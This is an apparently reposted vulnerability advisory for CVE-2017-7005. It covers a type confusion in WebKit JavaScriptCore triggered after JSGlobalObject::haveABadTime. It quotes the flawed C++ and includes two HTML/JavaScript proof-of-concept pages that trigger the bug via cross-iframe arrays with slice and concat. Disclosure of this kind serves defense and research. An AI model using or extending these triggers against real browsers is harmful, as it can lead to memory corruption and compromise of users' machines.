WebKit JSC JSGlobalObject::haveABadTime Type Confusion

2017.06.16
Credit: lokihardt
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

WebKit: JSC: JSGlobalObject::haveABadTime causes type confusions CVE-2017-7005 After JSGlobalObject::haveABadTime is called, the type of all JavaScript arrays(including newly created arrays) are of the same type: ArrayWithSlowPutArrayStorage. But (of course) this only affects objects that share the same JSGlobalObject. So arrays come from another JSGlobalObject can cause type confusions. void JSGlobalObject::haveABadTime(VM& vm) { ... for (unsigned i = 0; i < NumberOfIndexingShapes; ++i) m_arrayStructureForIndexingShapeDuringAllocation[i].set(vm, this, originalArrayStructureForIndexingType(ArrayWithSlowPutArrayStorage)); <<-- The type of a newly created array will be ArrayWithSlowPutArrayStorage ... while (!foundObjects.isEmpty()) { JSObject* object = asObject(foundObjects.last()); foundObjects.removeLast(); ASSERT(hasBrokenIndexing(object)); object->switchToSlowPutArrayStorage(vm); <<------ switch type of an old array } } 1. fastSlice: JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count) { auto arrayType = indexingType(); switch (arrayType) { case ArrayWithDouble: case ArrayWithInt32: case ArrayWithContiguous: { VM& vm = exec.vm(); if (count >= MIN_SPARSE_ARRAY_INDEX || structure(vm)->holesMustForwardToPrototype(vm)) return nullptr; Structure* resultStructure = exec.lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(arrayType); JSArray* resultArray = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, count); if (!resultArray) return nullptr; auto& resultButterfly = *resultArray->butterfly(); if (arrayType == ArrayWithDouble) memcpy(resultButterfly.contiguousDouble().data(), m_butterfly.get()->contiguousDouble().data() + startIndex, sizeof(JSValue) * count); else memcpy(resultButterfly.contiguous().data(), m_butterfly.get()->contiguous().data() + startIndex, sizeof(JSValue) * count); resultButterfly.setPublicLength(count); return resultArray; } default: return nullptr; } } If |this| came from another JSGlobalObject, and |haveABadTime| was called, the type of |resultArray| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion. <html> <body> <script> Array.prototype.__defineGetter__(100, () => 1); let f = document.body.appendChild(document.createElement('iframe')); let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320); let c = Array.prototype.slice.call(a); alert(c); </script> </body> </html> 2. arrayProtoPrivateFuncConcatMemcpy EncodedJSValue JSC_HOST_CALL arrayProtoPrivateFuncConcatMemcpy(ExecState* exec) { ... JSArray* firstArray = jsCast<JSArray*>(exec->uncheckedArgument(0)); ... IndexingType type = firstArray->mergeIndexingTypeForCopying(secondType); ... Structure* resultStructure = exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(type); JSArray* result = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, firstArraySize + secondArraySize); if (!result) return JSValue::encode(throwOutOfMemoryError(exec, scope)); if (type == ArrayWithDouble) { double* buffer = result->butterfly()->contiguousDouble().data(); memcpy(buffer, firstButterfly->contiguousDouble().data(), sizeof(JSValue) * firstArraySize); memcpy(buffer + firstArraySize, secondButterfly->contiguousDouble().data(), sizeof(JSValue) * secondArraySize); } else if (type != ArrayWithUndecided) { WriteBarrier<Unknown>* buffer = result->butterfly()->contiguous().data(); memcpy(buffer, firstButterfly->contiguous().data(), sizeof(JSValue) * firstArraySize); if (secondType != ArrayWithUndecided) memcpy(buffer + firstArraySize, secondButterfly->contiguous().data(), sizeof(JSValue) * secondArraySize); else { for (unsigned i = secondArraySize; i--;) buffer[i + firstArraySize].clear(); } } result->butterfly()->setPublicLength(firstArraySize + secondArraySize); return JSValue::encode(result); } If |firstArray| came from another JSGlobalObject, and |haveABadTime| was called, the type of |result| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion. PoC: <html> <body> <script> Array.prototype.__defineGetter__(100, () => 1); let f = document.body.appendChild(document.createElement('iframe')); let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320); let b = new f.contentWindow.Array(2.3023e-320, 2.3023e-320); let c = Array.prototype.concat.call(a, b); alert(c); </script> </body> </html> This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top